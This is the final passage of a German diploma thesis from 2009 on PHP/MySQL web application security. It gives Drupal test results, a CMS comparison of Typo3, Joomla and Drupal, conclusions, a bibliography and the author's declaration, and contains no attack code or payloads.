Für Drupal existieren, wie auch für Joomla und Typo3, mehrere Hundert Extensi-ons, die entweder direkt auf der Joomla-Webseite aber auch von Dritten erhältlichsind. Alle Extensions zu testen, würde den Rahmen dieser Ausarbeitung spren-gen. Die hier betrachteten Extensions wurden bei der Standardinstallation bereitsmitgeliefert.

5.5.3.1 SQL-Injections

Abbildung 5.22: Drupal-Extension SQL-Injection Testergebnis

Das Kommentar-Formular enthält mehrere Felder, die ein Benutzer ausfüllenmuss, um einen Kommentar auf der Webseite zu hinterlassen. Alle diese Felderwurden mit den in 5.2.2.1 beschriebenen Sonderzeichen versehen. Es erfolgtekeine SQL-Injection.

Page 102: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

93

5.5.3.2 Header-Injections

Da weder das Foren- noch das Kommentarmodul E-Mails an Benutzer versen-den, muss dieser Test nicht durchgeführt werden.

5.5.3.3 Null-Byte-Injections

Das Forums-/Kommentarmodul nutzt keine include()-Anweisung mit Werten,die vom Benutzer übergeben wurden, deshalb muss auch dieser Test nicht durch-geführt werden.

Page 103: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

94

5.5.3.4 Cross-Site Scripting

Um zu testen, ob das Kommentarmodul hinreichend gegen XSS geschützt ist,werden die in 5.2.2.4 beschriebenen Konstrukte in die sämtliche Felder des For-mulars eingegeben.

Abbildung 5.23: Drupal-Extension XSS Testergebnis

Bei diesem Test konnte keine XSS-Attacke erfolgreich ausgeführt werden. Selbstinvalides HTML wird erkannt und entfernt.

Page 104: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

95

5.5.3.5 Cross-Site Request Forgery

Im Formular das Kommentarmoduls ist ein verstecktes Feld mit einem Token ent-halten. Dieser Token ist bei jedem Benutzer unterschiedlich, ein CSRF-Angriffkann so nicht erfolgen.

5.5.4 Administrations-Backend

Anders als bei Typo3 und Joomla ist bei Drupal kein Login in einen separatenBereich nötig, der Administrator meldet sich, wie ein normaler Benutzer, z.B. aufder Startseite an.

5.5.4.1 SQL-Injections

Da für den Login dasselbe Formular wie in 5.5.2.1 verwendet wird, muss dieserTest nicht erneut durchgeführt werden.

5.5.4.2 Cross-Site Request Forgery

Wie schon beim Drupal-Kern werden verschiedene Aktionen getestet.

Abbildung 5.24: Drupal-Backend CSRF Testergebnis

Wie schon auf der Webseite, konnte der angemeldete Administrator ohne Pro-bleme aus dem Administrations-Backend ausgeloggt werden. Angriffe auf dasBackend waren jedoch nicht erfolgreich, da die Formulare verschiedene Tokennutzen.

5.5.5 Sicherheitslücken in der Vergangenheit

Drupal zeigte in der Vergangenheit, wie auch Typo3 und Joomla, zahlreiche Schwach-stellen. Dabei waren sowohl Extensions, als auch der Kern betroffen. Beispiels-weise zeigte eine Extension zur Sprachlokalisierung eine XSS-Lücke26. Der Drupal-Kern war ebenfalls anfällig, unter anderem gegen XSS und CSRF27.26vgl. [DRUPAL 2008]27vgl. [DRUPAL 2008(2)]

Page 105: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

96

5.5.6 Ergebnis

Die vorliegenden Tests haben gezeigt, dass Drupal in der Standardkonfigurationhinreichend gesichert ist. Allerdings war es auch hier, wie bei Typo3 und Joomlamöglich, eingeloggte Benutzer über CSRF-Angriffe auszuloggen. Dies stellt zwarkein großes Risiko dar, kann die Benutzer aber verärgern und dem Administra-tor viel Arbeit verschaffen. Jedoch haben auch die Sicherheitslücken in der Ver-gangenheit gezeigt, dass gerade bei den Erweiterungen öfters Sicherheitslückenaufgetreten sind. Sicherheitsrelevante Updates müssen deshalb unbedingt ein-gespielt werden und Informationen bezüglich Bugs und Risiken sollten auf derDrupal-Webseite stetig verfolgt werden.

5.6 Vergleichsmatrix und Ergebnis

Abbildung 5.25: Vergleichsmatrix Typo3, Joomla und Drupal

Legende:C: Kern

E: Extensions

A: Administration-Backend

Kein Risiko im Test und nur geringe Risiken in der Vergangenheit

Kein Risiko im Test aber schwere Risiken in der Vergangenheit

Page 106: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

97

Geringes Risiko im Test

Schweres Risiko im Test

Die durchgeführten Tests haben gezeigt, dass die drei Content-Management-Systeme bei klassischen Angriffen weitgehend sicher sind. Keiner der Kerne waraktuell für SQL-Injections oder Cross-Site Scripting anfällig. Doch haben Vorfäl-le in der Vergangenheit verdeutlicht, dass auch sicher geglaubte Softwareteilefür Angriffe anfällig sein können. Regelmäßige Updates und das Verfolgen vonBugtrackern sind unerlässlich, um die das System stets auf dem neuesten undsichersten Stand zu halten.

Kommt es zu neuartigen Angriffen, wie Cross-Site Request Forgery, so bestehtbei allen getesteten System noch Nachholbedarf. Joomla und Drupal bringen inder Standardinstallation einen recht guten Schutz mit, bei Typo3 fehlt dieser völ-lig und der Administrator muss sich selbst darum kümmern. Dabei kann natürlichschnell ein Teil vergessen werden und die Software ist nicht mehr ausreichendgeschützt. Trotz des schon sehr weitgehenden Schutzes in Joomla und Drupalverhindern diese Systeme nicht einen forcierten Logout der angemeldeten Be-nutzer. Das mag aus sicherheitstechnischer Sicht nicht zu kritisch sein, kann demAdministrator aber viel Arbeit verursachen. Sollten beispielsweise in einer größe-ren Community plötzlich tausende von Benutzern ausgeloggt werden, würde dasdie Nutzung der Community erheblich stören. Ein solcher Angriff kann auch dazudienen, den Administrator zu beschäftigen, während an einer ganz anderen Stel-le ein Angriff auf die Anwendung erfolgt. Falls möglich, sollte der Logout ebenfallsabgesichert werden, um ein solches Vorgehen nicht zu ermöglichen.

Die Extensions hielten alle gegen sämtliche getesteten Angriffsmuster stand,selbst CSRF-Angriffe wurden aufgrund von Tokens bzw. Captchas nicht anfäl-lig. Allerdings darf dieses Ergebnis nicht auf alle Extensions übertragen werden,denn gerade diese stellen oftmals das größte Risiko in der Anwendung dar. Aufungetestete Extensions von Dritten, oder auf solche, die sich im Beta-Stadiumbefinden, sollte möglichst verzichtet werden. Auf den Herstellerseiten finden sichListen, die über den jeweiligen Status Auskunft geben. Vor einem Einsatz auchdie Historie verfolgt werden. Traten in der Vergangenheit vermehrt Risiken auf, sokann man davon ausgehen, dass die Programmierer wenig Wert auf die Sicher-heit gelegt haben. Updates sind auch bei Extensions unbedingt notwendig, umdie Integrität der Anwendung zu wahren.

Setzt sich der Administrator aktiv mit der Materie auseinander und handelt erim Falle eines Risikos schnell, so steht einem sicheren System nichts im Wege.

Page 107: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

98

6 Fazit

Webanwendungen haben in den letzten Jahren eine kleine Revolution im Inter-net eingeleitet und so eine neue Art der Benutzerbeteiligung geschaffen. Nebenden vielen Vorteilen, die diese neuen Anwendungen mit sich bringen, existierenauch zahlreiche Gefahren für die Benutzer und die Anwendung selbst. Einige sindschon seit langer Zeit bekannt, andere sind erst vor kurzer Zeit aufgekommen.

Programmierer und Administratoren müssen unbedingt auf diese Gefahren rea-gieren. Trotz der seit Jahren bekannten Risken von SQL-Injections kommen dieseselbst in prominenten Webanwendungen immer noch gehäuft vor, wie die Ergeb-nisse aus Kapitel 5 gezeigt haben. XSS ist ebenfalls eine Gefahr, die nicht unter-schätzt werden darf. SQL-Injections und XSS bilden zusammen die größte Gefahrfür Webanwendungen. Ob Sicherheitsrisiken durch Fahrlässigkeit, Unwissenheitoder gar Ignoranz auftreten, spielt letztendlich für den Benutzer und die Anwen-dung keine Rolle, wenn Lücken aktiv ausgenutzt werden. PHP hat den Ruf, eineunsichere Programmiersprache zu sein. Wie diese Ausarbeitung gezeigt hat, istnicht die Programmiersprache selbst das Problem, sondern der Programmierer,der die Sprache nutzt. Durch die leichte Erlernbarkeit und den schnellen Erfolgkönnen selbst recht unerfahrene Programmierer komplexe Projekte verwirklichen,die sich in anderen Programmiersprachen weitaus komplexer darstellen würden.Gerade gewachsene Projekte sind oftmals anfällig für die beschriebenen Risiken.Deshalb muss das Verständnis für die Gefahren und die Notwendigkeit adäqua-ten Schutzes in das Bewusstsein der Programmierer und Administratoren vor-dringen. Kapitel 4 hat gezeigt, dass mit recht einfachen Mitteln auf die Risikenreagiert werden kann, wenn diese dem Programmierer bekannt sind. Die Zukunftwird zeigen, ob weitere Risiken auftreten, oder ob die meisten Programmiererund Administratoren sich der Gefahren bewusst werden.

Diese Ausarbeitung hat gezeigt, welche Risiken existieren, und wie auf dieseeffektiv reagiert werden kann. Das Erstellen einer Sicherheitsstrategie oder einerSecurity-Policy sind offene Punkte, die hier nicht betrachtet wurden und in eineranderen Ausarbeitung angesprochen werden könnten.

Page 108: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

99

Literaturverzeichnis

[ALTMANN et al. 2008] Altmann, Werner, Fritz, R., Hinderink, D. (2008).“TYPO3: Enterprise Content Management“. Open Sour-ce Press, 2. Auflage 2008

[APACHE] The Apache Software Foundation (Jahrunbekannt). “Manual Page: htpasswd“.http://httpd.apache.org/docs/1.3/programs/htpasswd.html

[APACHE 2009] The Apache Software Foundation (2009). “The ApacheHTTP Server Project“. http://httpd.apache.org/

[APACHE 2009(2)] The Apache Software Foundation (2009).“About the Apache HTTP Server Project“.http://httpd.apache.org/ABOUT_APACHE.html

[APACHE 2009(3)] The Apache Software Foundation (2009). “Licenses“.http://www.apache.org/licenses/

[BERNERS-LEE 1994] Berners-Lee, Tim, Masinter, L., McCahill, M.(1994). “Uniform Resource Locators (URL)“.http://tools.ietf.org/html/rfc1738

[BERNERS-LEE et al. 1996] Berners-Lee, Tim, Fielding, R., Frystyk, H.(1996). “Hypertext Transfer Protocol – HTTP/1.0“.http://tools.ietf.org/html/rfc1945

[BERNERS-LEE 2005] Berners-Lee, Tim, Fielding, R., Masinter, L. (2005).“Uniform Resource Identifier (URI): Generic Syntax“.http://tools.ietf.org/html/rfc3986

[BREACH 2008] Breach Security, Inc. (2008). “ModSecurity: Open SourceWeb Application Firewall“. http://www.modsecurity.org/

[CERN 2009] CERN (2009). “CERN - European Or-ganization for Nuclear Research“.http://public.web.cern.ch/public/Welcome.html

Page 109: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

100

[DRUPAL 2008] drupal.org (2008). “SA-2008-068 - Localization clientand Localization server - Cross site request forgery“.http://drupal.org/node/324862

[DRUPAL 2008(2)] drupal.org (2008). “SA-2008-047 - Drupal core - Multiplevulnerabilities“. http://drupal.org/node/295053

[DRUPAL 2009] Buytaert, Dries (2009). “drupal.org - Community plum-bing“. http://drupal.org/

[DULEPOV 2008] Dulepov, Dmitry (2008). “TemplaVoila!“.http://typo3.org/extensions/repository/view/templavoila/current/

[EASY 2008] Easy-Joomla.org Project (2008). “Easybook“.http://extensions.joomla.org/extensions/contacts-&-feedback/guest-book/1071/details

[EBERSBACH et al. 2008] Ebersbach, Anja, Glaser, M., Kubani, R. (2008).“Joomla! 1.5: Das umfassende Handbuch“. GalileoPress, 2. Auflage 2008

[ESSER 2007] Esser, Stefan (2007). “Suhosin“. http://www.hardened-php.net/suhosin/

[FACEBOOK 2009] Facebook Inc. (2009). “facebook“.http://www.facebook.com/

[FRITZ 2008] Fritz, Ren (2008) (2007). “Static Info Tables“.http://typo3.org/extensions/repository/view/static_info_tables/current/

[GNU 2009] Free Software Foundation, Inc. (2009). “GNU GeneralPublic License“. http://www.gnu.org/licenses/gpl-3.0.html

[HEIDERICH et. al 2009] Heiderich, Mario, Matthies, C., Dahse, J., fukami(2009). “Sichere Webanwendungen“. Galileo Press, 1.Auflage 2009

[HEISE 2008] Heise Zeitschriften Verlag (2008). “Cross-Site-Scripting-Lücken in mehreren Apache-Modulen“. http://www.heise.de/security/Cross-Site-Scripting-Luecken-in-mehreren-Apache-Modulen–/news/meldung/101958

Page 110: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

101

[HEISE 2009] Heise Zeitschriften Verlag (2009). “heise Security - Web-site von Wolfgang Schäuble über Typo3-Lücke gehackt[Update]“. http://www.heise.de/bilder/132315/0/1

[JOOMLA 2008] Open Source Matters, Inc. (2008). “Joomla! Developer- [20081101] - Core - com_content XSS vulnerabi-lity“. http://developer.joomla.org/security/news/283-20081101-core-comcontent-xss-vulnerability.html

[JOOMLA 2008(2)] Open Source Matters, Inc. (2008). “TYPO3 und Ty-poScript“. http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html

[JOOMLA 2009] Open Source Matters, Inc. (2009). “Joomla!“.http://www.joomla.org/

[KAMKAR 2005] Kamkar, Samy (2005). “I’m Popular“.http://namb.la/popular/

[KENNARD 2007] Kennard, James (2007). “Mastering Joomla! 1.5 Extensi-on and Framework Development“. Packt Publishing Ltd.1. Auflage 2007

[KERSKEN 2005] Sascha Kersken (2005). “Apache 2“. Galileo Press, 2.Auflage 2005

[KLEIN 2005] Klein, Amit (2005). “DOM Based Cross Si-te Scripting or XSS of the Third Kind“.http://www.webappsec.org/projects/articles/071105.shtml

[KUNZ ESSER 2008] Kunz, Christopher, Esser, Stefan (2008). “PHP-Sicherheit“. dpunkt.verlag GmbH, 3., bearbeitete Auflage2008

[LERDORF] Rasmus Lerdorf (Unbekannt). “Rasmus Lerdorf“.http://lerdorf.com/resume/

[LERDORF 1995] Rasmus Lerdorf (1995). “Announce: Per-sonal Home Page Tools (PHP Tools)“.http://groups.google.ch/group/comp.infosystems.www.authoring.cgi/msg/cc7d43454d64d133?oe=UTF-8&output=gplain

[MARSCHING 2008] Marsching, Sebastian (2008). “suPHP“.http://www.suphp.org/

Page 111: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

102

[MICROSOFT 2009] Microsoft Corporation (2009). “Inter-net Information Services 7.0 (IIS 7.0)“.http://www.microsoft.com/windowsserver2008/en/us/iis.aspx

[MOZILLA 2005] Eich, Brendan (2005). “ICFP-Keynote“.http://www.mozilla.org/js/language/ICFP-Keynote.ppt

[MOZILLA 2009] Mozilla (2009). “Add N Edit Cookies 0.2.1.3“.https://addons.mozilla.org/de/firefox/addon/573

[MYSPACE 2009] MySpace, Inc. (2009). “MySpace.com - a place for fri-ends“. http://www.myspace.com/

[NETCRAFT 2009] Netcraft Ltd. (2009). “Web Server Survey“.http://news.netcraft.com/archives/web_server_survey.html

[NEWSHAM 2000] Newsham, Tim (2000). “Format String Attacks“.http://seclists.org/bugtraq/2000/Sep/0214.html

[OPENSSL 2009] The OpenSSL Project (2009). “OpenSSL: The OpenSource toolkit for SSL/TLS“. http://www.openssl.org/

[PECL 2008] The PHP-Group (2008). “PECL :: The PHP ExtensionCommunity Library“. http://pecl.php.net/

[PHP 2008] The PHP-Group (2008). “PHP 5.2.7has been removed from distribution“.http://www.php.net/archive/2008.php#id2008-12-07-1

[PHP 2009] The PHP-Group (2009). “PHP: Hypertext Preprocessor“.http://www.php.net/

[PHP 2009(2)] The PHP-Group (2009). “The History of PHP“.http://de.php.net/manual/en/history.php.php

[PHP 2009(3)] The PHP-Group (2009). “Klassen und Objekte (PHP 5)“.http://de.php.net/manual/de/language.oop5.php

[PHP 2009(4)] The PHP-Group (2009). “MySQL Improved Extension“.http://de.php.net/manual/de/book.mysqli.php

[PHP 2009(5)] The PHP-Group (2009). “XML Parser“.http://de.php.net/manual/de/book.xml.php

Page 112: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

103

[PHP 2009(6)] The PHP-Group (2009). “Vergleichs-Operatoren“.http://de.php.net/manual/de/language.operators.comparison.php

[PHP 2009(7)] The PHP-Group (2009). “PHP: Beschreibung derphp.ini-Direktiven des Sprachkerns - Manual“.http://de.php.net/manual/de/ini.core.php#ini.register-globals

[PHP 2009(8)] The PHP-Group (2009). “PHP: is_numeric - Manual“.http://de.php.net/manual/de/function.is-numeric.php

[PHP 2009(9)] The PHP-Group (2009). “PHP: setcookie - Manual“.http://www.php.net/setcookie

[PHP 2009(10)] The PHP-Group (2009). “PHP: Typen - Manual“.http://de.php.net/manual/de/language.types.php

[PHP 2009(11)] The PHP-Group (2009). “PHP: mail - Manual“.http://de.php.net/manual/de/function.mail.php

[PHP 2009(12)] The PHP-Group (2009). “PHP: Safe Mode - Manual“.http://www.php.net/manual/de/features.safe-mode.php

[PHP 2009(13)] The PHP-Group (2009). “PHP: addslashes - Manual“.http://www.php.net/manual/de/function.addslashes.php

[PHP 2009(14)] The PHP-Group (2009). “PHP: mys-ql_real_escape_string - Manual“.http://www.php.net/manual/de/function.mysql-real-escape-string.php

[PHP 2009(15)] The PHP-Group (2009). “PHP: Magic Quotes - Manual“.http://www.php.net/magic_quotes

[PHP 2009(16)] The PHP-Group (2009). “PHP: strip_tags - Manual“.http://www.php.net/manual/de/function.strip-tags.php

[PHP 2009(17)] The PHP-Group (2009). “PHP: htmlentities - Manual“.http://www.php.net/manual/de/function.htmlentities.php

[PHP 2009(18)] The PHP-Group (2009). “PHP: Ihre ers-te PHP-erweiterte Seite - Manual“.http://www.php.net/manual/de/tutorial.firstpage.php

Page 113: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

104

[PLÖTNER WENDZEL 2006] Plötner, J., Wendzel, S. (2006). “Linux - Das Distri-butionsunabhängige Handbuch“. Galileo Press, 1. Aufla-ge 2006, 1. Nachdruck 2007

[RSNAKE 2009] RSnake (2009). “XSS (Cross Site Scripting) CheatSheet“. http://ha.ckers.org/xss.html

[SCHMIDT 2009] Schmidt, Jürgen (2009). “ Website von WolfgangSchäuble über Typo3-Lücke gehackt [Update]“.http://www.heise.de/security/Website-von-Wolfgang-Schaeuble-ueber-Typo3-Luecke-gehackt-Update–/news/meldung/132315

[SUN 2009] Sun Microsystems, Inc. (2009). “Über MySQL“.http://www.mysql.de/about/

[SUN 2009(2)] Sun Microsystems, Inc. (2009). “MySQL 5.0 ReferenceManual“. http://dev.mysql.com/doc/refman/5.0/en/

[SUN 2009(3)] Sun Microsystems, Inc. (2009). “MySQL :: MySQL 5.1Reference Manual :: B.3 Server Error Codes and Mes-sages“. http://dev.mysql.com/doc/refman/5.1/en/error-messages-server.html

[RIVEST 1992] Rivest, R. (1992). “The MD5 Message-Digest Algorithm“. http://tools.ietf.org/html/rfc1321

[TINYURL 2009] Gilby Productions (2009). “Making long URLs usable!More than 240 million of them. Over 2 billion hits/month.“.http://tinyurl.com/

[TLS 2009] TLS Working Group (2009). “Transport Layer Secu-rity (tls) Charter“. http://www.ietf.org/html.charters/tls-charter.html

[TWITTER 2009] Twitter Inc. (2009). “Twitter: What are you doing?“.http://www.twitter.com/

[TWITTER 2009(2)] Stone, Biz (2009). “Clickjacking Blocked“.http://blog.twitter.com/2009/02/clickjacking-blocked.html

[TYPO3 2008] TYPO3 Association (2008). “TYPO3 CMS: History“.http://www.typo3.com/History.1268.0.html

Page 114: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

105

[TYPO3 2009(2)] TYPO3 Association (2009). “TYPO3 Security Bulle-tin TYPO3-SA-2009-002: Information Disclosure & XSSin TYPO3 Core“. http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-002/

[TYPO3 2009] TYPO3 Association (2009). “typo3.org: TYPO3 Con-tent Management System - Developer Resource“.http://typo3.org/

[USC 1981] University of Southern California (1981).“TRANSMISSION CONTROL PROTOCOL“.ttp://tools.ietf.org/html/rfc793

[VAN DYK 2009] van Dyk, John K. (2009). “Das Drupal-Entwicklerhandbuch: Der Praxisleitfaden für Drupal-basierte Webprojekte“. Addison-Wesley, 1. Auflage2009

[VERISIGN 2009] VeriSign, Inc. (2009). “VeriSign - Security (SSL Certifi-cates), Intelligent Communications, Domain Name Ser-vices, and Identity Protection“. http://www.verisign.com

[VON EYNERN 2008] von Eynern, Udo (2008). “Modern Guestbook / Commen-ting system“. http://typo3.org/extensions/repository/view/ve_guestbook/current/

[W3C 1999] W3C (1999). “HTML 4.01 Specification“.http://www.w3.org/TR/html401/

[W3C 2005] W3C (2005). “Document Object Model (DOM)“.http://www.w3.org/DOM/

[W3C 2009] W3C (2009). “World Wide Web Consortium - Web Stan-dards“. http://www.w3.org/

[WORX 2009] Worx International Inc. (2009). “PHPMailer“.http://phpmailer.codeworxtech.com/index.php

[YANG 2009] Yang, Edward Z. (2009). “HTML Purifier - Fil-ter your HTML the standards-compliant way!“.http://htmlpurifier.org/

[YANG 2009(2)] Yang, Edward Z. (2009). “HTMLPurifier Documentation3.3.0“. http://htmlpurifier.org/doxygen/html/

Page 115: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

106

Ehrenwörtliche Erklärung

Hiermit versichere ich, dass die vorliegende Arbeit von mir selbstständig und oh-ne unerlaubte Hilfe angefertigt worden ist, insbesondere dass ich alle Stellen, diewörtlich oder annähernd wörtlich aus Veröffentlichungen entnommen sind, durchZitate als solche gekennzeichnet habe. Ich versichere auch, dass die von mir ein-gereichte schriftliche Version mit der digitalen Version übereinstimmt. Weiterhinerkläre ich, dass die Arbeit in gleicher oder ähnlicher Form noch keiner ande-ren Prüfungsbehörde vorgelegen hat. Ich erkläre mich damit nicht einverstanden,dass die Arbeit der Öffentlichkeit zugänglich gemacht wird. Ich erkläre mich damiteinverstanden, dass die Digitalversion dieser Arbeit zwecks Plagiatsprüfung aufdie Server externer Anbieter hoch geladen werden darf. Die Plagiatsprüfung stelltkeine Zurverfügungstellung für die Öffentlichkeit dar.

Düsseldorf, den 24. Juni 2009